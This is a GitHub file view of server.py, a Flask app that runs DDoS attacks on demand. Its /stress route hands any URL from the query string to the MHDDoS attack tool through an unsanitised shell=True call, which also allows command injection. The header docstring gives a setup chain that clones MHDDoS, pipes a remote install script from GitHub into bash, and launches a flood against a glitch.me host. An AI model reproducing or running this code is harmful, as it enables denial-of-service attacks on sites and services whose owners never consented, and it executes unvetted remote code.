-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathserver.py
More file actions
62 lines (38 loc) · 1.72 KB
/
server.py
File metadata and controls
62 lines (38 loc) · 1.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
"""
/usr/bin/python3 -m pip install --upgrade pip
pip3 uninstall telegram && pip3 uninstall telegram-bot python-telegram-bot && pip3 install -r requirements.txt &&git clone https://github.com/MatrixTM/MHDDoS.git && cd MHDDoS && pip3 install -r requirements.txt && curl -s https://raw.githubusercontent.com/SlavaUkraineSince1991/DDoS-for-all/main/scripts/python_git_MHDDoS_proxy_install.sh | bash && python3 ~/MHDDoS/start.py GET panpan-bot1.glitch.me 1 100 mhddos_proxy/list 100 5
"""
from flask import Flask, render_template, request
import subprocess
import re
app = Flask(__name__)
#bot_process = subprocess.Popen(['python3' , 'bot.py'])
def ddos_start(url):
s= 1500
subprocess.call(f'python3 ~/MHDDoS/start.py GET {url} 1 400 mhddos_proxy/list 10000 {s}', stdout=subprocess.PIPE, shell=True)
@app.route("/")
def page_web_de_mort():
# bot_process
return "<html><body><img src='https://i.giphy.com/KmHueA88mFABT9GkkR.gif'></body></html>"
#page_web_de_mort()
@app.route("/kill")
def killswitch():
p = subprocess.Popen(f'refresh', stdout=subprocess.PIPE, shell=True)
output, error = p.communicate()
# bot_process
return "<html><body><img src='https://i.giphy.com/6jTD6KqVNADI746GOC.gif'></body></html>"
#page_web_de_mort()
@app.route(f"/stress")
def ddos():
full_url = str(request.args)
data = full_url.replace("ImmutableMultiDict([('", '')
url = data.replace("', '')])", '')
print(url)
ddos_start(url)
return "<html><body><img src='https://i.giphy.com/6jTD6KqVNADI746GOC.gif'></body></html>"
#page_web_de_mort()
app.run()
"""
if __name__ == "__main__":
app.run()
"""